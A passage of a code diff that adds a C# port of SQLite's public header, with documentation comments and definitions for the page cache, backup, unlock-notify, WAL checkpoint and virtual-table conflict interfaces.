"page", in this context, means a buffer of szPage bytes aligned at an + ** 8-byte boundary. The page to be fetched is determined by the key. ^The + ** minimum key value is 1. After it has been retrieved using xFetch, the page + ** is considered to be "pinned". + ** + ** If the requested page is already in the page cache, then the page cache + ** implementation must return a pointer to the page buffer with its content + ** intact. If the requested page is not already in the cache, then the + ** cache implementation should use the value of the createFlag + ** parameter to help it determined what action to take: + ** + ** + **
createFlag Behaviour when page is not already in cache + **
0 Do not allocate a new page. Return NULL. + **
1 Allocate a new page if it easy and convenient to do so. + ** Otherwise return NULL. + **
2 Make every effort to allocate a new page. Only return + ** NULL if allocating a new page is effectively impossible. + **
+ ** + ** ^(SQLite will normally invoke xFetch() with a createFlag of 0 or 1. SQLite + ** will only use a createFlag of 2 after a prior call with a createFlag of 1 + ** failed.)^ In between the to xFetch() calls, SQLite may + ** attempt to unpin one or more cache pages by spilling the content of + ** pinned pages to disk and synching the operating system disk cache. + ** + ** [[the xUnpin() page cache method]] + ** ^xUnpin() is called by SQLite with a pointer to a currently pinned page + ** as its second argument. If the third parameter, discard, is non-zero, + ** then the page must be evicted from the cache. + ** ^If the discard parameter is + ** zero, then the page may be discarded or retained at the discretion of + ** page cache implementation. ^The page cache implementation + ** may choose to evict unpinned pages at any time. + ** + ** The cache must not perform any reference counting. A single + ** call to xUnpin() unpins the page regardless of the number of prior calls + ** to xFetch(). + ** + ** [[the xRekey() page cache methods]] + ** The xRekey() method is used to change the key value associated with the + ** page passed as the second argument. If the cache + ** previously contains an entry associated with newKey, it must be + ** discarded. ^Any prior cache entry associated with newKey is guaranteed not + ** to be pinned. + ** + ** When SQLite calls the xTruncate() method, the cache must discard all + ** existing cache entries with page numbers (keys) greater than or equal + ** to the value of the iLimit parameter passed to xTruncate(). If any + ** of these pages are pinned, they are implicitly unpinned, meaning that + ** they can be safely discarded. + ** + ** [[the xDestroy() page cache method]] + ** ^The xDestroy() method is used to delete a cache allocated by xCreate(). + ** All resources associated with the specified cache should be freed. ^After + ** calling the xDestroy() method, SQLite considers the [sqlite3_pcache*] + ** handle invalid, and will not use it with any other sqlite3_pcache_methods + ** functions. + */ + //typedef struct sqlite3_pcache_methods sqlite3_pcache_methods; + //struct sqlite3_pcache_methods { + // void *pArg; + // int (*xInit)(void); + // void (*xShutdown)(void); + // sqlite3_pcache *(*xCreate)(int szPage, int bPurgeable); + // void (*xCachesize)(sqlite3_pcache*, int nCachesize); + // int (*xPagecount)(sqlite3_pcache); + // void *(*xFetch)(sqlite3_pcache*, unsigned key, int createFlag); + // void (*xUnpin)(sqlite3_pcache*, void*, int discard); + // void (*xRekey)(sqlite3_pcache*, void*, unsigned oldKey, unsigned newKey); + // void (*xTruncate)(sqlite3_pcache*, unsigned iLimit); + // void (*xDestroy)(sqlite3_pcache); + //}; + public class sqlite3_pcache_methods + { + public object pArg; + public dxPC_Init xInit;//int (*xInit)(void); + public dxPC_Shutdown xShutdown;//public void (*xShutdown)(void); + public dxPC_Create xCreate;//public sqlite3_pcache *(*xCreate)(int szPage, int bPurgeable); + public dxPC_Cachesize xCachesize;//public void (*xCachesize)(sqlite3_pcache*, int nCachesize); + public dxPC_Pagecount xPagecount;//public int (*xPagecount)(sqlite3_pcache); + public dxPC_Fetch xFetch;//public void *(*xFetch)(sqlite3_pcache*, unsigned key, int createFlag); + public dxPC_Unpin xUnpin;//public void (*xUnpin)(sqlite3_pcache*, void*, int discard); + public dxPC_Rekey xRekey;//public void (*xRekey)(sqlite3_pcache*, void*, unsigned oldKey, unsigned newKey); + public dxPC_Truncate xTruncate;//public void (*xTruncate)(sqlite3_pcache*, unsigned iLimit); + public dxPC_Destroy xDestroy;//public void (*xDestroy)(sqlite3_pcache); + + public sqlite3_pcache_methods() + { + } + + public sqlite3_pcache_methods( object pArg, dxPC_Init xInit, dxPC_Shutdown xShutdown, dxPC_Create xCreate, dxPC_Cachesize xCachesize, dxPC_Pagecount xPagecount, dxPC_Fetch xFetch, dxPC_Unpin xUnpin, dxPC_Rekey xRekey, dxPC_Truncate xTruncate, dxPC_Destroy xDestroy ) + { + this.pArg = pArg; + this.xInit = xInit; + this.xShutdown = xShutdown; + this.xCreate = xCreate; + this.xCachesize = xCachesize; + this.xPagecount = xPagecount; + this.xFetch = xFetch; + this.xUnpin = xUnpin; + this.xRekey = xRekey; + this.xTruncate = xTruncate; + this.xDestroy = xDestroy; + } + }; + + + /* + ** CAPI3REF: Online Backup Object + ** + ** The sqlite3_backup object records state information about an ongoing + ** online backup operation. ^The sqlite3_backup object is created by + ** a call to [sqlite3_backup_init()] and is destroyed by a call to + ** [sqlite3_backup_finish()]. + ** + ** See Also: [Using the SQLite Online Backup API] + */ + //typedef struct sqlite3_backup sqlite3_backup; + + /* + ** CAPI3REF: Online Backup API. + ** + ** The backup API copies the content of one database into another. + ** It is useful either for creating backups of databases or + ** for copying in-memory databases to or from persistent files. + ** + ** See Also: [Using the SQLite Online Backup API] + ** + ** ^SQLite holds a write transaction open on the destination database file + ** for the duration of the backup operation. + ** ^The source database is read-locked only while it is being read; + ** it is not locked continuously for the entire backup operation. + ** ^Thus, the backup may be performed on a live source database without + ** preventing other database connections from + ** reading or writing to the source database while the backup is underway. + ** + ** ^(To perform a backup operation: + **
    + **
  1. sqlite3_backup_init() is called once to initialize the + ** backup, + **
  2. sqlite3_backup_step() is called one or more times to transfer + ** the data between the two databases, and finally + **
  3. sqlite3_backup_finish() is called to release all resources + ** associated with the backup operation. + **
)^ + ** There should be exactly one call to sqlite3_backup_finish() for each + ** successful call to sqlite3_backup_init(). + ** + ** [[sqlite3_backup_init()]] sqlite3_backup_init() + ** + ** ^The D and N arguments to sqlite3_backup_init(D,N,S,M) are the + ** [database connection] associated with the destination database + ** and the database name, respectively. + ** ^The database name is "main" for the main database, "temp" for the + ** temporary database, or the name specified after the AS keyword in + ** an [ATTACH] statement for an attached database. + ** ^The S and M arguments passed to + ** sqlite3_backup_init(D,N,S,M) identify the [database connection] + ** and database name of the source database, respectively. + ** ^The source and destination [database connections] (parameters S and D) + ** must be different or else sqlite3_backup_init(D,N,S,M) will fail with + ** an error. + ** + ** ^If an error occurs within sqlite3_backup_init(D,N,S,M), then NULL is + ** returned and an error code and error message are stored in the + ** destination [database connection] D. + ** ^The error code and message for the failed call to sqlite3_backup_init() + ** can be retrieved using the [sqlite3_errcode()], [sqlite3_errmsg()], and/or + ** [sqlite3_errmsg16()] functions. + ** ^A successful call to sqlite3_backup_init() returns a pointer to an + ** [sqlite3_backup] object. + ** ^The [sqlite3_backup] object may be used with the sqlite3_backup_step() and + ** sqlite3_backup_finish() functions to perform the specified backup + ** operation. + ** + ** [[sqlite3_backup_step()]] sqlite3_backup_step() + ** + ** ^Function sqlite3_backup_step(B,N) will copy up to N pages between + ** the source and destination databases specified by [sqlite3_backup] object B. + ** ^If N is negative, all remaining source pages are copied. + ** ^If sqlite3_backup_step(B,N) successfully copies N pages and there + ** are still more pages to be copied, then the function returns [SQLITE_OK]. + ** ^If sqlite3_backup_step(B,N) successfully finishes copying all pages + ** from source to destination, then it returns [SQLITE_DONE]. + ** ^If an error occurs while running sqlite3_backup_step(B,N), + ** then an [error code] is returned. ^As well as [SQLITE_OK] and + ** [SQLITE_DONE], a call to sqlite3_backup_step() may return [SQLITE_READONLY], + ** [SQLITE_NOMEM], [SQLITE_BUSY], [SQLITE_LOCKED], or an + ** [SQLITE_IOERR_ACCESS | SQLITE_IOERR_XXX] extended error code. + ** + ** ^(The sqlite3_backup_step() might return [SQLITE_READONLY] if + **
    + **
  1. the destination database was opened read-only, or + **
  2. the destination database is using write-ahead-log journaling + ** and the destination and source page sizes differ, or + **
  3. the destination database is an in-memory database and the + ** destination and source page sizes differ. + **
)^ + ** + ** ^If sqlite3_backup_step() cannot obtain a required file-system lock, then + ** the [sqlite3_busy_handler | busy-handler function] + ** is invoked (if one is specified). ^If the + ** busy-handler returns non-zero before the lock is available, then + ** [SQLITE_BUSY] is returned to the caller. ^In this case the call to + ** sqlite3_backup_step() can be retried later. ^If the source + ** [database connection] + ** is being used to write to the source database when sqlite3_backup_step() + ** is called, then [SQLITE_LOCKED] is returned immediately. ^Again, in this + ** case the call to sqlite3_backup_step() can be retried later on. ^(If + ** [SQLITE_IOERR_ACCESS | SQLITE_IOERR_XXX], [SQLITE_NOMEM], or + ** [SQLITE_READONLY] is returned, then + ** there is no point in retrying the call to sqlite3_backup_step(). These + ** errors are considered fatal.)^ The application must accept + ** that the backup operation has failed and pass the backup operation handle + ** to the sqlite3_backup_finish() to release associated resources. + ** + ** ^The first call to sqlite3_backup_step() obtains an exclusive lock + ** on the destination file. ^The exclusive lock is not released until either + ** sqlite3_backup_finish() is called or the backup operation is complete + ** and sqlite3_backup_step() returns [SQLITE_DONE]. ^Every call to + ** sqlite3_backup_step() obtains a [shared lock] on the source database that + ** lasts for the duration of the sqlite3_backup_step() call. + ** ^Because the source database is not locked between calls to + ** sqlite3_backup_step(), the source database may be modified mid-way + ** through the backup process. ^If the source database is modified by an + ** external process or via a database connection other than the one being + ** used by the backup operation, then the backup will be automatically + ** restarted by the next call to sqlite3_backup_step(). ^If the source + ** database is modified by the using the same database connection as is used + ** by the backup operation, then the backup database is automatically + ** updated at the same time. + ** + ** [[sqlite3_backup_finish()]] sqlite3_backup_finish() + ** + ** When sqlite3_backup_step() has returned [SQLITE_DONE], or when the + ** application wishes to abandon the backup operation, the application + ** should destroy the [sqlite3_backup] by passing it to sqlite3_backup_finish(). + ** ^The sqlite3_backup_finish() interfaces releases all + ** resources associated with the [sqlite3_backup] object. + ** ^If sqlite3_backup_step() has not yet returned [SQLITE_DONE], then any + ** active write-transaction on the destination database is rolled back. + ** The [sqlite3_backup] object is invalid + ** and may not be used following a call to sqlite3_backup_finish(). + ** + ** ^The value returned by sqlite3_backup_finish is [SQLITE_OK] if no + ** sqlite3_backup_step() errors occurred, regardless or whether or not + ** sqlite3_backup_step() completed. + ** ^If an out-of-memory condition or IO error occurred during any prior + ** sqlite3_backup_step() call on the same [sqlite3_backup] object, then + ** sqlite3_backup_finish() returns the corresponding [error code]. + ** + ** ^A return of [SQLITE_BUSY] or [SQLITE_LOCKED] from sqlite3_backup_step() + ** is not a permanent error and does not affect the return value of + ** sqlite3_backup_finish(). + ** + ** [[sqlite3_backup__remaining()]] [[sqlite3_backup_pagecount()]] + ** sqlite3_backup_remaining() and sqlite3_backup_pagecount() + ** + ** ^Each call to sqlite3_backup_step() sets two values inside + ** the [sqlite3_backup] object: the number of pages still to be backed + ** up and the total number of pages in the source database file. + ** The sqlite3_backup_remaining() and sqlite3_backup_pagecount() interfaces + ** retrieve these two values, respectively. + ** + ** ^The values returned by these functions are only updated by + ** sqlite3_backup_step(). ^If the source database is modified during a backup + ** operation, then the values are not updated to account for any extra + ** pages that need to be updated or the size of the source database file + ** changing. + ** + ** Concurrent Usage of Database Handles + ** + ** ^The source [database connection] may be used by the application for other + ** purposes while a backup operation is underway or being initialized. + ** ^If SQLite is compiled and configured to support threadsafe database + ** connections, then the source database connection may be used concurrently + ** from within other threads. + ** + ** However, the application must guarantee that the destination + ** [database connection] is not passed to any other API (by any thread) after + ** sqlite3_backup_init() is called and before the corresponding call to + ** sqlite3_backup_finish(). SQLite does not currently check to see + ** if the application incorrectly accesses the destination [database connection] + ** and so no error code is reported, but the operations may malfunction + ** nevertheless. Use of the destination database connection while a + ** backup is in progress might also also cause a mutex deadlock. + ** + ** If running in [shared cache mode], the application must + ** guarantee that the shared cache used by the destination database + ** is not accessed while the backup is running. In practice this means + ** that the application must guarantee that the disk file being + ** backed up to is not accessed by any connection within the process, + ** not just the specific connection that was passed to sqlite3_backup_init(). + ** + ** The [sqlite3_backup] object itself is partially threadsafe. Multiple + ** threads may safely make multiple concurrent calls to sqlite3_backup_step(). + ** However, the sqlite3_backup_remaining() and sqlite3_backup_pagecount() + ** APIs are not strictly speaking threadsafe. If they are invoked at the + ** same time as another thread is invoking sqlite3_backup_step() it is + ** possible that they return invalid values. + */ + //SQLITE_API sqlite3_backup *sqlite3_backup_init( + // sqlite3 *pDest, /* Destination database handle */ + // string zDestName, /* Destination database name */ + // sqlite3 *pSource, /* Source database handle */ + // string zSourceName /* Source database name */ + //); + //SQLITE_API int sqlite3_backup_step(sqlite3_backup *p, int nPage); + //SQLITE_API int sqlite3_backup_finish(sqlite3_backup *p); + //SQLITE_API int sqlite3_backup_remaining(sqlite3_backup *p); + //SQLITE_API int sqlite3_backup_pagecount(sqlite3_backup *p); + + /* + ** CAPI3REF: Unlock Notification + ** + ** ^When running in shared-cache mode, a database operation may fail with + ** an [SQLITE_LOCKED] error if the required locks on the shared-cache or + ** individual tables within the shared-cache cannot be obtained. See + ** [SQLite Shared-Cache Mode] for a description of shared-cache locking. + ** ^This API may be used to register a callback that SQLite will invoke + ** when the connection currently holding the required lock relinquishes it. + ** ^This API is only available if the library was compiled with the + ** [SQLITE_ENABLE_UNLOCK_NOTIFY] C-preprocessor symbol defined. + ** + ** See Also: [Using the SQLite Unlock Notification Feature]. + ** + ** ^Shared-cache locks are released when a database connection concludes + ** its current transaction, either by committing it or rolling it back. + ** + ** ^When a connection (known as the blocked connection) fails to obtain a + ** shared-cache lock and SQLITE_LOCKED is returned to the caller, the + ** identity of the database connection (the blocking connection) that + ** has locked the required resource is stored internally. ^After an + ** application receives an SQLITE_LOCKED error, it may call the + ** sqlite3_unlock_notify() method with the blocked connection handle as + ** the first argument to register for a callback that will be invoked + ** when the blocking connections current transaction is concluded. ^The + ** callback is invoked from within the [sqlite3_step] or [sqlite3_close] + ** call that concludes the blocking connections transaction. + ** + ** ^(If sqlite3_unlock_notify() is called in a multi-threaded application, + ** there is a chance that the blocking connection will have already + ** concluded its transaction by the time sqlite3_unlock_notify() is invoked. + ** If this happens, then the specified callback is invoked immediately, + ** from within the call to sqlite3_unlock_notify().)^ + ** + ** ^If the blocked connection is attempting to obtain a write-lock on a + ** shared-cache table, and more than one other connection currently holds + ** a read-lock on the same table, then SQLite arbitrarily selects one of + ** the other connections to use as the blocking connection. + ** + ** ^(There may be at most one unlock-notify callback registered by a + ** blocked connection. If sqlite3_unlock_notify() is called when the + ** blocked connection already has a registered unlock-notify callback, + ** then the new callback replaces the old.)^ ^If sqlite3_unlock_notify() is + ** called with a NULL pointer as its second argument, then any existing + ** unlock-notify callback is canceled. ^The blocked connections + ** unlock-notify callback may also be canceled by closing the blocked + ** connection using [sqlite3_close()]. + ** + ** The unlock-notify callback is not reentrant. If an application invokes + ** any sqlite3_xxx API functions from within an unlock-notify callback, a + ** crash or deadlock may be the result. + ** + ** ^Unless deadlock is detected (see below), sqlite3_unlock_notify() always + ** returns SQLITE_OK. + ** + ** Callback Invocation Details + ** + ** When an unlock-notify callback is registered, the application provides a + ** single void* pointer that is passed to the callback when it is invoked. + ** However, the signature of the callback function allows SQLite to pass + ** it an array of void* context pointers. The first argument passed to + ** an unlock-notify callback is a pointer to an array of void* pointers, + ** and the second is the number of entries in the array. + ** + ** When a blocking connections transaction is concluded, there may be + ** more than one blocked connection that has registered for an unlock-notify + ** callback. ^If two or more such blocked connections have specified the + ** same callback function, then instead of invoking the callback function + ** multiple times, it is invoked once with the set of void* context pointers + ** specified by the blocked connections bundled together into an array. + ** This gives the application an opportunity to prioritize any actions + ** related to the set of unblocked database connections. + ** + ** Deadlock Detection + ** + ** Assuming that after registering for an unlock-notify callback a + ** database waits for the callback to be issued before taking any further + ** action (a reasonable assumption), then using this API may cause the + ** application to deadlock. For example, if connection X is waiting for + ** connection Y's transaction to be concluded, and similarly connection + ** Y is waiting on connection X's transaction, then neither connection + ** will proceed and the system may remain deadlocked indefinitely. + ** + ** To avoid this scenario, the sqlite3_unlock_notify() performs deadlock + ** detection. ^If a given call to sqlite3_unlock_notify() would put the + ** system in a deadlocked state, then SQLITE_LOCKED is returned and no + ** unlock-notify callback is registered. The system is said to be in + ** a deadlocked state if connection A has registered for an unlock-notify + ** callback on the conclusion of connection B's transaction, and connection + ** B has itself registered for an unlock-notify callback when connection + ** A's transaction is concluded. ^Indirect deadlock is also detected, so + ** the system is also considered to be deadlocked if connection B has + ** registered for an unlock-notify callback on the conclusion of connection + ** C's transaction, where connection C is waiting on connection A. ^Any + ** number of levels of indirection are allowed. + ** + ** The "DROP TABLE" Exception + ** + ** When a call to [sqlite3_step()] returns SQLITE_LOCKED, it is almost + ** always appropriate to call sqlite3_unlock_notify(). There is however, + ** one exception. When executing a "DROP TABLE" or "DROP INDEX" statement, + ** SQLite checks if there are any currently executing SELECT statements + ** that belong to the same connection. If there are, SQLITE_LOCKED is + ** returned. In this case there is no "blocking connection", so invoking + ** sqlite3_unlock_notify() results in the unlock-notify callback being + ** invoked immediately. If the application then re-attempts the "DROP TABLE" + ** or "DROP INDEX" query, an infinite loop might be the result. + ** + ** One way around this problem is to check the extended error code returned + ** by an sqlite3_step() call. ^(If there is a blocking connection, then the + ** extended error code is set to SQLITE_LOCKED_SHAREDCACHE. Otherwise, in + ** the special "DROP TABLE/INDEX" case, the extended error code is just + ** SQLITE_LOCKED.)^ + */ + //SQLITE_API int sqlite3_unlock_notify( + // sqlite3 *pBlocked, /* Waiting connection */ + // void (*xNotify)(void **apArg, int nArg), /* Callback function to invoke */ + // void *pNotifyArg /* Argument to pass to xNotify */ + //); + + + /* + ** CAPI3REF: String Comparison + ** + ** ^The [sqlite3_strnicmp()] API allows applications and extensions to + ** compare the contents of two buffers containing UTF-8 strings in a + ** case-independent fashion, using the same definition of case independence + ** that SQLite uses internally when comparing identifiers. + */ + //SQLITE_API int sqlite3_strnicmp(string , string , int); + + /* + ** CAPI3REF: Error Logging Interface + ** + ** ^The [sqlite3_log()] interface writes a message into the error log + ** established by the [SQLITE_CONFIG_LOG] option to [sqlite3_config()]. + ** ^If logging is enabled, the zFormat string and subsequent arguments are + ** used with [sqlite3_snprintf()] to generate the final output string. + ** + ** The sqlite3_log() interface is intended for use by extensions such as + ** virtual tables, collating functions, and SQL functions. While there is + ** nothing to prevent an application from calling sqlite3_log(), doing so + ** is considered bad form. + ** + ** The zFormat string must not be NULL. + ** + ** To avoid deadlocks and other threading problems, the sqlite3_log() routine + ** will not use dynamically allocated memory. The log message is stored in + ** a fixed-length buffer on the stack. If the log message is longer than + ** a few hundred characters, it will be truncated to the length of the + ** buffer. + */ + //SQLITE_API void sqlite3_log(int iErrCode, string zFormat, ...); + + /* + ** CAPI3REF: Write-Ahead Log Commit Hook + ** + ** ^The [sqlite3_wal_hook()] function is used to register a callback that + ** will be invoked each time a database connection commits data to a + ** [write-ahead log] (i.e. whenever a transaction is committed in + ** [journal_mode | journal_mode=WAL mode]). + ** + ** ^The callback is invoked by SQLite after the commit has taken place and + ** the associated write-lock on the database released, so the implementation + ** may read, write or [checkpoint] the database as required. + ** + ** ^The first parameter passed to the callback function when it is invoked + ** is a copy of the third parameter passed to sqlite3_wal_hook() when + ** registering the callback. ^The second is a copy of the database handle. + ** ^The third parameter is the name of the database that was written to - + ** either "main" or the name of an [ATTACH]-ed database. ^The fourth parameter + ** is the number of pages currently in the write-ahead log file, + ** including those that were just committed. + ** + ** The callback function should normally return [SQLITE_OK]. ^If an error + ** code is returned, that error will propagate back up through the + ** SQLite code base to cause the statement that provoked the callback + ** to report an error, though the commit will have still occurred. If the + ** callback returns [SQLITE_ROW] or [SQLITE_DONE], or if it returns a value + ** that does not correspond to any valid SQLite error code, the results + ** are undefined. + ** + ** A single database handle may have at most a single write-ahead log callback + ** registered at one time. ^Calling [sqlite3_wal_hook()] replaces any + ** previously registered write-ahead log callback. ^Note that the + ** [sqlite3_wal_autocheckpoint()] interface and the + ** [wal_autocheckpoint pragma] both invoke [sqlite3_wal_hook()] and will + ** those overwrite any prior [sqlite3_wal_hook()] settings. + */ + //SQLITE_API void *sqlite3_wal_hook( + // sqlite3*, + // int()(void *,sqlite3*,const char*,int), + // void* + //); + + /* + ** CAPI3REF: Configure an auto-checkpoint + ** + ** ^The [sqlite3_wal_autocheckpoint(D,N)] is a wrapper around + ** [sqlite3_wal_hook()] that causes any database on [database connection] D + ** to automatically [checkpoint] + ** after committing a transaction if there are N or + ** more frames in the [write-ahead log] file. ^Passing zero or + ** a negative value as the nFrame parameter disables automatic + ** checkpoints entirely. + ** + ** ^The callback registered by this function replaces any existing callback + ** registered using [sqlite3_wal_hook()]. ^Likewise, registering a callback + ** using [sqlite3_wal_hook()] disables the automatic checkpoint mechanism + ** configured by this function. + ** + ** ^The [wal_autocheckpoint pragma] can be used to invoke this interface + ** from SQL. + ** + ** ^Every new [database connection] defaults to having the auto-checkpoint + ** enabled with a threshold of 1000 or [SQLITE_DEFAULT_WAL_AUTOCHECKPOINT] + ** pages. The use of this interface + ** for a particular application. + */ + //SQLITE_API int sqlite3_wal_autocheckpoint(sqlite3 db, int N); + + /* + ** CAPI3REF: Checkpoint a database + ** + ** ^The [sqlite3_wal_checkpoint(D,X)] interface causes database named X + ** on [database connection] D to be [checkpointed]. ^If X is NULL or an + ** empty string, then a checkpoint is run on all databases of + ** connection D. ^If the database connection D is not in + ** [WAL | write-ahead log mode] then this interface is a harmless no-op. + ** + ** ^The [wal_checkpoint pragma] can be used to invoke this interface + ** from SQL. ^The [sqlite3_wal_autocheckpoint()] interface and the + ** [wal_autocheckpoint pragma] can be used to cause this interface to be + ** run whenever the WAL reaches a certain size threshold. + ** + ** See also: [sqlite3_wal_checkpoint_v2()] + */ + //SQLITE_API int sqlite3_wal_checkpoint(sqlite3 db, string zDb); + + /* + ** CAPI3REF: Checkpoint a database + ** + ** Run a checkpoint operation on WAL database zDb attached to database + ** handle db. The specific operation is determined by the value of the + ** eMode parameter: + ** + **
+ **
SQLITE_CHECKPOINT_PASSIVE
+ ** Checkpoint as many frames as possible without waiting for any database + ** readers or writers to finish. Sync the db file if all frames in the log + ** are checkpointed. This mode is the same as calling + ** sqlite3_wal_checkpoint(). The busy-handler callback is never invoked. + ** + **
SQLITE_CHECKPOINT_FULL
+ ** This mode blocks (calls the busy-handler callback) until there is no + ** database writer and all readers are reading from the most recent database + ** snapshot. It then checkpoints all frames in the log file and syncs the + ** database file. This call blocks database writers while it is running, + ** but not database readers. + ** + **
SQLITE_CHECKPOINT_RESTART
+ ** This mode works the same way as SQLITE_CHECKPOINT_FULL, except after + ** checkpointing the log file it blocks (calls the busy-handler callback) + ** until all readers are reading from the database file only. This ensures + ** that the next client to write to the database file restarts the log file + ** from the beginning. This call blocks database writers while it is running, + ** but not database readers. + **
+ ** + ** If pnLog is not NULL, then *pnLog is set to the total number of frames in + ** the log file before returning. If pnCkpt is not NULL, then *pnCkpt is set to + ** the total number of checkpointed frames (including any that were already + ** checkpointed when this function is called). *pnLog and *pnCkpt may be + ** populated even if sqlite3_wal_checkpoint_v2() returns other than SQLITE_OK. + ** If no values are available because of an error, they are both set to -1 + ** before returning to communicate this to the caller. + ** + ** All calls obtain an exclusive "checkpoint" lock on the database file. If + ** any other process is running a checkpoint operation at the same time, the + ** lock cannot be obtained and SQLITE_BUSY is returned. Even if there is a + ** busy-handler configured, it will not be invoked in this case. + ** + ** The SQLITE_CHECKPOINT_FULL and RESTART modes also obtain the exclusive + ** "writer" lock on the database file. If the writer lock cannot be obtained + ** immediately, and a busy-handler is configured, it is invoked and the writer + ** lock retried until either the busy-handler returns 0 or the lock is + ** successfully obtained. The busy-handler is also invoked while waiting for + ** database readers as described above. If the busy-handler returns 0 before + ** the writer lock is obtained or while waiting for database readers, the + ** checkpoint operation proceeds from that point in the same way as + ** SQLITE_CHECKPOINT_PASSIVE - checkpointing as many frames as possible + ** without blocking any further. SQLITE_BUSY is returned in this case. + ** + ** If parameter zDb is NULL or points to a zero length string, then the + ** specified operation is attempted on all WAL databases. In this case the + ** values written to output parameters *pnLog and *pnCkpt are undefined. If + ** an SQLITE_BUSY error is encountered when processing one or more of the + ** attached WAL databases, the operation is still attempted on any remaining + ** attached databases and SQLITE_BUSY is returned to the caller. If any other + ** error occurs while processing an attached database, processing is abandoned + ** and the error code returned to the caller immediately. If no error + ** (SQLITE_BUSY or otherwise) is encountered while processing the attached + ** databases, SQLITE_OK is returned. + ** + ** If database zDb is the name of an attached database that is not in WAL + ** mode, SQLITE_OK is returned and both *pnLog and *pnCkpt set to -1. If + ** zDb is not NULL (or a zero length string) and is not the name of any + ** attached database, SQLITE_ERROR is returned to the caller. + */ + //SQLITE_API int sqlite3_wal_checkpoint_v2( + // sqlite3 db, /* Database handle */ + // string zDb, /* Name of attached database (or NULL) */ + // int eMode, /* SQLITE_CHECKPOINT_* value */ + // int *pnLog, /* OUT: Size of WAL log in frames */ + // int *pnCkpt /* OUT: Total number of frames checkpointed */ + //); + + /* + ** CAPI3REF: Checkpoint operation parameters + ** + ** These constants can be used as the 3rd parameter to + ** [sqlite3_wal_checkpoint_v2()]. See the [sqlite3_wal_checkpoint_v2()] + ** documentation for additional information about the meaning and use of + ** each of these values. + */ + //#define SQLITE_CHECKPOINT_PASSIVE 0 + //#define SQLITE_CHECKPOINT_FULL 1 + //#define SQLITE_CHECKPOINT_RESTART 2 + static public int SQLITE_CHECKPOINT_PASSIVE = 0; + static public int SQLITE_CHECKPOINT_FULL = 1; + static public int SQLITE_CHECKPOINT_RESTART = 2; + + + /* + ** CAPI3REF: Virtual Table Interface Configuration + ** + ** This function may be called by either the [xConnect] or [xCreate] method + ** of a [virtual table] implementation to configure + ** various facets of the virtual table interface. + ** + ** If this interface is invoked outside the context of an xConnect or + ** xCreate virtual table method then the behavior is undefined. + ** + ** At present, there is only one option that may be configured using + ** this function. (See [SQLITE_VTAB_CONSTRAINT_SUPPORT].) Further options + ** may be added in the future. + */ + //SQLITE_API int sqlite3_vtab_config(sqlite3*, int op, ...); + + /* + ** CAPI3REF: Virtual Table Configuration Options + ** + ** These macros define the various options to the + ** [sqlite3_vtab_config()] interface that [virtual table] implementations + ** can use to customize and optimize their behavior. + ** + **
+ **
SQLITE_VTAB_CONSTRAINT_SUPPORT + **
Calls of the form + ** [sqlite3_vtab_config](db,SQLITE_VTAB_CONSTRAINT_SUPPORT,X) are supported, + ** where X is an integer. If X is zero, then the [virtual table] whose + ** [xCreate] or [xConnect] method invoked [sqlite3_vtab_config()] does not + ** support constraints. In this configuration (which is the default) if + ** a call to the [xUpdate] method returns [SQLITE_CONSTRAINT], then the entire + ** statement is rolled back as if [ON CONFLICT | OR ABORT] had been + ** specified as part of the users SQL statement, regardless of the actual + ** ON CONFLICT mode specified. + ** + ** If X is non-zero, then the virtual table implementation guarantees + ** that if [xUpdate] returns [SQLITE_CONSTRAINT], it will do so before + ** any modifications to internal or persistent data structures have been made. + ** If the [ON CONFLICT] mode is ABORT, FAIL, IGNORE or ROLLBACK, SQLite + ** is able to roll back a statement or database transaction, and abandon + ** or continue processing the current SQL statement as appropriate. + ** If the ON CONFLICT mode is REPLACE and the [xUpdate] method returns + ** [SQLITE_CONSTRAINT], SQLite handles this as if the ON CONFLICT mode + ** had been ABORT. + ** + ** Virtual table implementations that are required to handle OR REPLACE + ** must do so within the [xUpdate] method. If a call to the + ** [sqlite3_vtab_on_conflict()] function indicates that the current ON + ** CONFLICT policy is REPLACE, the virtual table implementation should + ** silently replace the appropriate rows within the xUpdate callback and + ** return SQLITE_OK. Or, if this is not possible, it may return + ** SQLITE_CONSTRAINT, in which case SQLite falls back to OR ABORT + ** constraint handling. + **
+ */ + //#define SQLITE_VTAB_CONSTRAINT_SUPPORT 1 + public const int SQLITE_VTAB_CONSTRAINT_SUPPORT = 1; + + /* + ** CAPI3REF: Determine The Virtual Table Conflict Policy + ** + ** This function may only be called from within a call to the [xUpdate] method + ** of a [virtual table] implementation for an INSERT or UPDATE operation. ^The + ** value returned is one of [SQLITE_ROLLBACK], [SQLITE_IGNORE], [SQLITE_FAIL], + ** [SQLITE_ABORT], or [SQLITE_REPLACE], according to the [ON CONFLICT] mode + ** of the SQL statement that triggered the call to the [xUpdate] method of the + ** [virtual table]. + */ + //SQLITE_API int sqlite3_vtab_on_conflict(sqlite3 ); + + /* + ** CAPI3REF: Conflict resolution modes + ** + ** These constants are returned by [sqlite3_vtab_on_conflict()] to + ** inform a [virtual table] implementation what the [ON CONFLICT] mode + ** is for the SQL statement being evaluated. + ** + ** Note that the [SQLITE_IGNORE] constant is also used as a potential + ** return value from the [sqlite3_set_authorizer()] callback and that + ** [SQLITE_ABORT] is also a [result code]. + */ + //#define SQLITE_ROLLBACK 1 + public const int SQLITE_ROLLBACK = 1; + /* #define SQLITE_IGNORE 2 // Also used by sqlite3_authorizer() callback */ + //#define SQLITE_FAIL 3 + public const int SQLITE_FAIL = 3; + /* #define SQLITE_ABORT 4 // Also an error code */ + //#define SQLITE_REPLACE 5 + public const int SQLITE_REPLACE = 5; + + + /* + ** Undo the hack that converts floating point types to integer for + ** builds on processors without floating point support. + */ + //#if SQLITE_OMIT_FLOATING_POINT + //# undef double + //#endif + + //#if __cplusplus + //} /* End of the 'extern "C"' block */ + //#endif + //#endif + + /* + ** 2010 August 30 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + */ + + //#if !_SQLITE3RTREE_H_ + //#define _SQLITE3RTREE_H_ + + + //#if __cplusplus + //extern "C" { + //#endif + + //typedef struct sqlite3_rtree_geometry sqlite3_rtree_geometry; + + /* + ** Register a geometry callback named zGeom that can be used as part of an + ** R-Tree geometry query as follows: + ** + ** SELECT ... FROM WHERE MATCH $zGeom(... params ...) + */ + //SQLITE_API int sqlite3_rtree_geometry_callback( + // sqlite3 db, + // string zGeom, + // int (*xGeom)(sqlite3_rtree_geometry *, int nCoord, double *aCoord, int *pRes), + // 